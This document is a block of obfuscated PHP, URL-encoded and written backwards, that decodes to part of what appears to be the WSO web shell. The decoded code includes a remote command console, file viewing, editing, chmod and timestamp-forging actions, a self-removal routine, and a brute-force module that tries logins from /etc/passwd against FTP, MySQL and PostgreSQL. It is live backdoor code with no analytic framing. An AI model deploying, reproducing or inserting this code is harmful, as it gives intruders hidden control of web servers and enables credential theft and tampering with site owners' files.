dt%3C%3Ert%3C%27.%09%09%0D%0A%27%3Ert%2F%3C%3Edt%2F%3C%3E%221.0.0.721%22%3Deulav+revres%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3Ctrop%3ArevreS%3Enaps%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27tesrahc%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27a%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3E%22%27.%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth.%27%22%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%27.%09%09%0D%0A%27%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3Etceles%2F%3C%3Enoitpo%2F%3ClqSergtsoP%3Elqsgp%3Deulav+noitpo%3C%3Enoitpo%2F%3ClqSyM%3Elqsym%3Deulav+noitpo%3C%3Enoitpo%2F%3CPTF%3Eptf%3Deulav+noitpo%3C%3Eotorp%3Deman+tceles%3C%3Edt%3C%27.%09%09%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3CepyT%3Enaps%3C%3Edt%3C%3Ert%3C%3Etsop%3Ddohtem+mrof%3C%3Eelbat%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CecrofeturB%3E1h%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%22%3Erb%3C%3Evid%2F%3Csseccus%24+%3Enaps%2F%3C%3AsseccuS%3Enaps%3C+stpmetta%24+%3Enaps%2F%3C%3AstpmettA%3Enaps%3C%22+ohce%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27.%29enil%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D%27nigol%27%5BTSOP_%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%0D%0A%7B+%29+%29enil%24+%2C%5D%27nigol%27%5BTSOP_%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%28ecroFeturBosw+%28fi%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%0D%0A%3B%29enil%24%28mirt+%3D+enil%24%09%09%09%09%09%0D%0A%7B+%29enil%24+sa+pmet%24%28hcaerof%09%09%09%09%0D%0A%29+%29pmet%24%28yarra_si+%28fi%09%09%09%0D%0A%3B%29%5D%27tcid%27%5BTSOP_%24%28elif%40+%3D+pmet%24%09%09%09%0D%0A%7B+%292+%3D%3D+%5D%27epyt%27%5BTSOP_%24%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%09%0D%0A%3B%29pmt%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%09%0D%0A%7B+%29+%29pmt%24+%2C%5D0%5Benil%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%40%28ecroFeturBosw+%28fi%09%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%09%0D%0A%3B%5Di%24%5B%5D0%5Benil%24+%3D.+pmt%24%09%09%09%09%09%09%09%0D%0A%29i%24--+%3B0%3D%3Ei%24+%3B1-%29%5D0%5Benil%24%28nelrts%3Di%24%28rof%09%09%09%09%09%09%0D%0A%3B%22%22+%3D+pmt%24%09%09%09%09%09%09%0D%0A%7B+%29%5D%27esrever%27%5BTSOP_%24%40%28fi%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3A%3Eb%2F%3C%27.%29%5D0%5Benil%24%28srahclaicepslmth.%27%3Eb%3C%27+ohce%09%09%09%09%09%09%0D%0A%3B%2B%2Bsseccus%24%09%09%09%09%09%09%0D%0A%7B+%29+%29%5D0%5Benil%24+%2C%5D0%5Benil%24+%2C%5D1%5Brevres%24%40%2C%5D0%5Brevres%24%40%28ecroFeturBosw+%28fi%09%09%09%09%09%0D%0A%3Bstpmetta%24%2B%2B%09%09%09%09%09%0D%0A%3B%29enil%24+%2C%22%3A%22%28edolpxe+%3D+enil%24%09%09%09%09%09%0D%0A%7B+%29enil%24+sa+pmet%24%28hcaerof%09%09%09%09%0D%0A%29+%29pmet%24%28yarra_si+%28fi%09%09%09%0D%0A%3B%29%27dwssap%2Fcte%2F%27%28elif%40+%3D+pmet%24%09%09%09%0D%0A%7B+%291+%3D%3D+%5D%27epyt%27%5BTSOP_%24%28fi%09%09%0D%0A%3B%29%5D%27revres%27%5BTSOP_%24+%2C%22%3A%22%28edolpxe+%3D+revres%24%09%09%0D%0A%3B0+%3D+stpmetta%24%09%09%0D%0A%3B0+%3D+sseccus%24%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29ser%24%28esolc_gp%40%09%09%09%09%0D%0A%3B%29rts%24%28tcennoc_gp%40+%3D+ser%24%09%09%09%09%0D%0A%3B%22sergtsop%3Demanbd+%27%22.ssap%24.%22%27%3Ddrowssap+%27%22.nigol%24.%22%27%3Dresu+%27%22.trop%24.%22%27%3Dtrop+%27%22.pi%24.%22%27%3Dtsoh%22+%3D+rts%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27lqsgp%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29ser%24%28esolc_lqsym%40%09%09%09%09%0D%0A%3B%29ssap%24+%2Cnigol%24+%2C%296033%3Atrop%24%3Ftrop%24%28.%27%3A%27.pi%24%28tcennoc_lqsym%40+%3D+ser%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27lqsym%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fiesle+%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3Bser%24+nruter%09%09%09%09%0D%0A%3B%29pf%24%28esolc_ptf%40%09%09%09%09%0D%0A%3B%29ssap%24+%2Cnigol%24+%2Cpf%24%28nigol_ptf%40+%3D+ser%24%09%09%09%09%0D%0A%3Beslaf+nruter+%29pf%24%21%28fi%09%09%09%09%0D%0A%3B%2912%3Atrop%24%3Ftrop%24+%2Cpi%24%28tcennoc_ptf%40+%3D+pf%24%09%09%09%09%0D%0A%7B+%29ssap%24%2Cnigol%24%2Ctrop%24%2Cpi%24%28ecroFeturBosw+noitcnuf%09%09%09%0D%0A%7B+%29+%27ptf%27+%3D%3D+%5D%27otorp%27%5BTSOP_%24+%28fi%09%09%0D%0A%3B%27%3Erb%3C%27.%29%5D%27revres%27%5BTSOP_%24%28srahclaicepslmth.%27+%3Enaps%2F%3C%3ArevreS%3Enaps%3C+%27.%29%5D%27otorp%27%5BTSOP_%24%28srahclaicepslmth.%27+%3Enaps%2F%3C%3AepyT%3Enaps%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CstluseR%3E1h%3C%27+ohce%09%09%0D%0A%7B+%29+%29%5D%27otorp%27%5BTSOP_%24%28tessi+%28fi%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28ecrofeturBnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%3Ea%2F%3CseY%3E%22%29%27%5Csey%27%5C%2Cllun%2Cllun%28g%22%3Dkcilcno+%23%3Dferh+a%3C%3Erb%3C%3Fllehs+eht+evomer+ot+tnaw+yllaeR%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CediciuS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw++++++++%0D%0A%29%27sey%27+%3D%21+%5D%271p%27%5BTSOP_%24%28fi++++%0D%0A%3B%27%21rorre+knilnu%27+ohce%09%09%09%0D%0Aesle%09%09%0D%0A%3B%29%27devomer+neeb+sah+llehS%27%28eid%09%09%09%0D%0A%29%29%29__ELIF__+%2C%27%27+%2C%27%21%2A.s%5C%29%5C%2Bd%5C%28%5C%21%27%28ecalper_gerp%28knilnu%40%28fi%09%09%0D%0A%29%27sey%27+%3D%3D+%5D%271p%27%5BTSOP_%24%28fi%09%0D%0A%0D%0A%7B+%29%28evomeRfleSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%27%21eyb%27%28eid%09%0D%0A%3B%290063+-+%29%28emit+%2C%27%27+%2C%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctes++++%0D%0A%7B+%29%28tuogoLnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%29%28sucof.dmc.fc.d%3Etpircs%3C%3Evid%2F%3C%3Emrof%2F%3C%27+ohce%09%0D%0A%3B%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%22%3B%29tneve%28pk%22%3Dnwodyekno+%22%3B%25001%3Ahtdiw%3Bxp0%3Aredrob%22%3Delyts+dmc%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3C%24%3E%22%251%22%3Dhtdiw+dt%3C%3Ert%3C%3E%22%25001%22%3Dhtdiw+0%3Dgnicapsllec+0%3Dgniddapllec+%22%3Bxp0%3Apot-redrob%3B555%23%3Aroloc-dnuorgkcab%3B5fd%23+dilos+xp1%3Aredrob%22%3Delyts+elbat%3C%3Eaeratxet%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%5D%271p%27%5BTSOP_%24%28xEosw.%22n%5C%22.%5D%271p%27%5BTSOP_%24.%22+%24%22%28srahclaicepslmth+ohce%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%27%3Eylnodaer+%22%3B0%3Anigram%3B0%3Amottob-redrob%22%3Delyts+tuptuo%3Deman+aeragib%3Dssalc+aeratxet%3C%3E%2Frb%3C%3Erbon%2F%3C%291%26%3E2%28+tuodts+ot+rredts+tcerider+%3E%27.%29%27%27%3A%27dekcehc%27%3F%5D%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%7C%7C%29%5D%272p%27%5BTSOP_%24%28ytpme%21%28.%27+1%3Deulav+srorre_wohs%3Deman+xobkcehc%3Depyt+tupni%3C+XAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C%3Erbon%3C+%3E%22%3E%3E%22%3Deulav+%22%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.fc.d%2Ceulav.saila.fc.d%2Cllun%2Cllun%28g%7Besle%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.fc.d%2Ceulav.saila.fc.d%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.fc.d%28fi%3B%29eulav.saila.fc.d%28dda%22%3Dkcilcno+nottub%3Depyt+tupni%3C%3Etceles%2F%3C%27+ohce%09%0D%0A%09%0D%0A%7D%09%0D%0A%3B%27%3Enoitpo%2F%3C%27.n%24.%27%3E%22%27.%29v%24%28srahclaicepslmth.%27%22%3Deulav+noitpo%3C%27+ohce%09%09%0D%0A%7D%09%09%0D%0A%3Beunitnoc%09%09%09%0D%0A%3B%27%3Epuorgtpo%2F%3C%3E%22-%27.%29n%24%28srahclaicepslmth.%27-%22%3Dlebal+puorgtpo%3C%27+ohce%09%09%09%0D%0A%7B+%29%27%27+%3D%3D+v%24%28fi%09%09%0D%0A%7B+%29v%24+%3E%3D+n%24+sa+%5D%27sesaila%27%5BSLABOLG%24%28hcaerof%09%0D%0A%3B%27%3Esaila%3Deman+tceles%3C%3E%22%3Beslaf+nruter+%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.siht%2Ceulav.dmc.siht%2Cllun%2Cllun%28g%7Besle%7D%3B%29%27%5C%27%5C%3A1%3Fdekcehc.srorre_wohs.siht%2Ceulav.dmc.siht%2Cllun%2Cllun%28a%7B%29dekcehc.xaja.siht%28fi%3B%29eulav.dmc.siht%28dda%7D%3Beslaf+nruter%3B%27%5C%27%5C%3Deulav.dmc.fc.d%3B%27%5C%27%5C%3Deulav.tuptuo.fc.d%7B%29%27%5Craelc%27%5C%3D%3Deulav.dmc.fc.d%28fi%22%3Dtimbusno+fc%3Deman+mrof%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3CelosnoC%3E1h%3C%27+ohce%09%0D%0A%3B%22%3Etpircs%2F%3C%0D%0A%7D%0D%0A%3B1-htgnel.sdmc+%3D+ruc%09%0D%0A%3B%29%27%27%28hsup.sdmc%09%0D%0A%3B%29dmc%28hsup.sdmc%09%0D%0A%3B%29%28pop.sdmc%09%0D%0A%7B+%29dmc%28dda+noitcnuf%0D%0A%7D%0D%0A%7D%09%0D%0A%3B--ruc%09%09%09%0D%0Aesle%09%09%0D%0A%3B%5Druc%5Bsdmc+%3D+eulav.dmc.fc.tnemucod%09%09%09%0D%0A%29htgnel.sdmc+%3C+ruc%28fi%09%09%0D%0A%3B%2B%2Bruc%09%09%0D%0A%7B+%2904+%3D%3D+n%28fi+esle+%7D%09%0D%0A%3B%2B%2Bruc%09%09%09%0D%0Aesle%09%09%0D%0A%3B%5Druc%5Bsdmc+%3D+eulav.dmc.fc.tnemucod%09%09%09%0D%0A%290%3D%3Eruc%28fi%09%09%0D%0A%3B--ruc%09%09%0D%0A%7B+%2983+%3D%3D+n%28fi%09%0D%0A%3BedoCyek.e+%3A+hcihw.e+%3F+%29tnevE.wodniw%28+%3D+n+rav%09%0D%0A%7B+%29e%28pk+noitcnuf%0D%0A%3B0+%3D+ruc+rav%0D%0A%3B%29%27%27%28yarrA+wen+%3D+sdmc+rav%0D%0A%3B%29NWODYEK.tnevE%28stnevEerutpac.wodniw+%29tnevE.wodniw%28fi%0D%0A%3Etpircs%3C%22+ohce++++%0D%0A%3B%29%28redaeHosw%09%0D%0A%3B%290+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%26%26%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%29%28naelc_teg_bo+%3D+pmet%24%09%09%0D%0A%3B%22%3BthgieHllorcs.tuptuo.fc.d+%3D+poTllorcs.tuptuo.fc.d%22+ohce%09%09%0D%0A%3B%22%3B%27%22.pmet%24.%22%27%3D%2Beulav.tuptuo.fc.d%22+ohce%09%09%0D%0A%7D%09%09%0D%0A%7D%09%09%09%0D%0A%3B%22%3B%27%22.%5D%27dwc%27%5BSLABOLG%24.%22%27%3D_c%22+ohce%09%09%09%09%0D%0A%3B%29%28dwcteg%40+%3D+%5D%27dwc%27%5BSLABOLG%24%09%09%09%09%0D%0A%7B+%29%29%5D1%5Bhctam%24%28ridhc%40%28fi%09%09%09%0D%0A%7B%09%29%29hctam%24%2C%5D%271p%27%5BTSOP_%24%2C%22%21%24%29%2B%5D%3B%5E%5B%28%2Bs%5Cdc%2A.%21%22%28hctam_gerp%28fi%09%09%0D%0A%3B%29%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22%2C%29%5D%271p%27%5BTSOP_%24%28xEosw.%22n%5C%22.%5D%271p%27%5BTSOP_%24.%22+%24n%5C%22%28sehsalscdda+%2C%278-FTU%27+%2C%5D%27tesrahc%27%5BTSOP_%24%28vnoci%40+%3D+pmet%24%09%09%0D%0A%3B%22n%5C%3B%27%27%3Deulav.dmc.fc.d%22+ohce%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW%09%09%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%0D%0A%3B%290+%2C%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fiesle+%7D++++%0D%0A%3B%271%26%3E2+%27+%3D.+%5D%271p%27%5BTSOP_%24++++++++%0D%0A%3B%29eurt+%2C%27tuo_ot_rredts%27.%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%7B+%29%29%5D%272p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi++++%0D%0A%7B+%29%28elosnoCnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%29%29%5D%271p%27%5BTSOP_%24%28emitmelif%40+%2C%22s%3Ai%3AH+d-m-Y%22%28etad.%27%22%3Deulav+hcuot%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.hcuot.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%27+ohce%09%09%09%0D%0A%3B%29%28ehcactatsraelc%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%21tamrof+emit+daB%27+ohce+esle+%7D%09%09%09%09%0D%0A%3B%27%21dehcuoT%27+ohce%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%0D%0A%3B%27%21liaF%27+ohce%09%09%09%09%09%09%0D%0A%29%29emit%24%2Cemit%24%2C%5D%271p%27%5BTSOP_%24%28hcuot%21%28fi%09%09%09%09%09%0D%0A%7B+%29emit%24%28fi%09%09%09%09%0D%0A%3B%29%5D%273p%27%5BTSOP_%24%28emitotrts+%3D+emit%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27hcuot%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%29%5D%271p%27%5BTSOP_%24%28srahclaicepslmth.%27%22%3Deulav+eman%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.eman.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29%27%3Etpircs%2F%3C%29%22%22%2Cllun%2C%22%27.%29%5D%273p%27%5BTSOP_%24%28edocnelru.%27%22%2Cllun%2Cllun%28g%3Etpircs%3C%27%28eid%09%09%09%09%09%0D%0Aesle%09%09%09%09%0D%0A%3B%27%3Erb%3C%21emaner+t%27%5CnaC%27+ohce%09%09%09%09%09%0D%0A%29%29%5D%273p%27%5BTSOP_%24+%2C%5D%271p%27%5BTSOP_%24%28emaner%40%21%28fi%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27emaner%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3Eerp%2F%3C%27.%29%5D2%5Bh%24%28srahclaicepslmth.%27%3Eerp%3C%3E333333%23%3Drolocgb+dt%3C%3Edt%2F%3C%3Eerp%2F%3C%27.%5D1%5Bh%24.%27%3Eerp%3C%3E828282%23%3Drolocgb+dt%3C%3Edt%2F%3C%3Enaps%2F%3C%3Eerp%2F%3C%27.%5D0%5Bh%24.%27%3Eerp%3C%3E%22%3Blamron+%3Athgiew-tnof%22%3Delyts+naps%3C%3E333333%23%3Drolocgb+dt%3C%3Ert%3C%3E222222%23%3Drolocgb+5%3Dgniddapllec+1%3Dgnicapsllec+elbat%3C%27+ohce%09%09%09%0D%0A%7D%09+%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%22n%5C%22+%3D.+%5D2%5Bh%24%09%09%09%09%09%0D%0A%3B%27%3Erb%3C%27+%3D.+%5D1%5Bh%24%09%09%09%09%09%0D%0A%7D%3B%27%3Erb%3C%27.%291%2Bi%24%2C%27X80%25%27%28ftnirps+%3D.+%5D0%5Bh%24%7B+%29nel%24+%3C+1%2Bi%24%28+fi%09%09%09%09%09%0D%0A%3B0+%3D+n%24%09%09%09%09%09%0D%0A%7B+%2923+%3D%3D+n%24%28+fi%09%09%09%09%0D%0A%3B%2B%2Bn%24%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3Bkaerb+%3B%5Di%24%5Bc%24+%3D.+%5D2%5Bh%24+%3Atluafed%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24+%3A31+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24+%3A01+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24++%3A9+esac%09%09%09%09%09%0D%0A%3Bkaerb+%3B%27+%27+%3D.+%5D2%5Bh%24++%3A0+esac%09%09%09%09%09%0D%0A%7B+%29+%29%5Di%24%5Bc%24%28dro+%28+hctiws%09%09%09%09%0D%0A%3B%27+%27.%29%29%5Di%24%5Bc%24%28dro%2C%27X20%25%27%28ftnirps+%3D.+%5D1%5Bh%24%09%09%09%09%0D%0A%7B+%29i%24%2B%2B+%3Bnel%24%3Ci%24+%3B0%3Di%24%28+rof%09%09%09%0D%0A%3B%29c%24%28nelrts+%3D+nel%24%09%09%09%0D%0A%3B%29%27%27%2C%27%27%2C%27%3Erb%3C00000000%27%28yarra+%3D+h%24%09%09%09%0D%0A%3B0+%3D+n%24%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28stnetnoc_teg_elif%40+%3D+c%24%09%09%09%0D%0A%3A%27pmudxeh%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Eaeratxet%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%294201+%2Cpf%24%28daerf%40%28srahclaicepslmth+ohce%09%09%09%09%09%0D%0A%29+%29pf%24%28foef%40%21+%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27r%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%27%3Eaeragib%3Dssalc+txet%3Deman+aeratxet%3C%3E%22%3Beslaf+nruter%3B%29eulav.txet.siht%2B%27%5C1%27%5C%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29emit%24%2Cemit%24%2C%5D%271p%27%5BTSOP_%24%28hcuot%40%09%09%09%09%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%3Erb%3C%21devaS%27+ohce%09%09%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%09%0D%0A%3B%29%5D%273p%27%5BTSOP_%24%2Cpf%24%28etirwf%40%09%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%09%0D%0A%3B%29%22w%22%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%09%0D%0A%3B%291%2C%5D%273p%27%5BTSOP_%24%28rtsbus+%3D+%5D%273p%27%5BTSOP_%24%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28emitmelif%40+%3D+emit%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%7D%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%27elbaetirw+t%27%5Cnsi+eliF%27+ohce%09%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28elbatirw_si%21+%28fi%09%09%09%0D%0A%3A%27tide%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3E%22%27.%294-%2C%29%29%5D%271p%27%5BTSOP_%24%28smrepelif+%2C%27o%25%27%28ftnirps%28rtsbus.%27%22%3Deulav+domhc%3Deman+txet%3Depyt+tupni%3C%3E%22%3Beslaf+nruter%3B%29eulav.domhc.siht%2Cllun%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dtimbusno+mrof%3C%3Etpircs%2F%3C%3B%22%22%3D_3p%3Etpircs%3C%27+ohce%09%09%09%0D%0A%3B%29%28ehcactatsraelc%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3Deulav.3p.fm.tnemucod%3Etpircs%3C%3Erb%3C%21snoissimrep+tes+t%27%5CnaC%27+ohce%09%09%09%09%09%0D%0A%29%29smrep%24+%2C%5D%271p%27%5BTSOP_%24%28domhc%40%21%28fi%09%09%09%09%0D%0A%3B%29%291-i%24-%29%5D%273p%27%5BTSOP_%24%28nelrts%28+%2C8%28wop%2A%5Di%24%5B%5D%273p%27%5BTSOP_%24%29tni%28+%3D%2B+smrep%24%09%09%09%09%09%0D%0A%29i%24--%3B0%3D%3Ei%24%3B1-%29%5D%273p%27%5BTSOP_%24%28nelrts%3Di%24%28rof%09%09%09%09%0D%0A%3B0+%3D+smrep%24%09%09%09%09%0D%0A%7B+%29+%29%5D%273p%27%5BTSOP_%24%28ytpme%21+%28fi%09%09%09%0D%0A%3A%27domhc%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%27%3Evid%2F%3C%27.%29edoc%24%2C%29%27%3Etnof%2F%3C%27%2C%27+tnof%3C%27%28yarra+%2C%29%27%3Enaps%2F%3C%27%2C%27+naps%3C%27%28yarra%28ecalper_rts+ohce%09%09%09%09%0D%0A%3B%29eurt%2C%5D%271p%27%5BTSOP_%24%28elif_thgilhgih%40+%3D+edoc%24%09%09%09%09%0D%0A%3B%27%3E%22%3Bkcalb%3Aroloc%3B1e1e1e%23+%3Aroloc-dnuorgkcab%22%3Delyts+1lm%3Dssalc+vid%3C%27+ohce%09%09%09%09%0D%0A%7B+%29+%29%5D%271p%27%5BTSOP_%24%28elbadaer_si%40+%28fi%09%09%09%0D%0A%3A%27thgilhgih%27+esac%09%09%0D%0A%3Bkaerb%09%09%09%0D%0A%3B%27%3Eerp%2F%3C%27+ohce%09%09%09%0D%0A%7D%09%09%09%0D%0A%3B%29pf%24%28esolcf%40%09%09%09%09%0D%0A%3B%29%294201+%2Cpf%24%28daerf%40%28srahclaicepslmth+ohce%09%09%09%09%09%0D%0A%29+%29pf%24%28foef%40%21+%28elihw%09%09%09%09%0D%0A%7B+%29pf%24%28fi%09%09%09%0D%0A%3B%29%27r%27+%2C%5D%271p%27%5BTSOP_%24%28nepof%40+%3D+pf%24%09%09%09%0D%0A%3B%27%3E1lm%3Dssalc+erp%3C%27+ohce%09%09%09%0D%0A%3A%27weiv%27+esac%09%09%0D%0A%7B+%29%5D%272p%27%5BTSOP_%24%28hctiws%09%0D%0A%3B%27%3Erb%3C%3Erb%3C%27+ohce%09%0D%0A%3B%27+%3Ea%2F%3C%27.%29v%24%3A%27%3Eb%2F%3C%5D+%27.v%24.%27+%5B%3Eb%3C%27%3F%29%5D%272p%27%5BTSOP_%24%40%3D%3D%29v%24%28rewolotrts%28%28.%27%3E%22%29%27%5C%27.%29v%24%28rewolotrts.%27%27%5C%2C%27%5C%27+.+%29%5D%271p%27%5BTSOP_%24%28edocnelru+.+%27%27%5C%2Cllun%2Cllun%28g%22%3Dkcilcno+%23%3Dferh+a%3C%27+ohce%09%09%0D%0A%29v%24+sa+m%24%28hcaerof%09%0D%0A%3B%29%27hcuoT%27+%2C%27emaneR%27+%2C%27domhC%27%28yarra+%3D+m%24%09%09%0D%0Aesl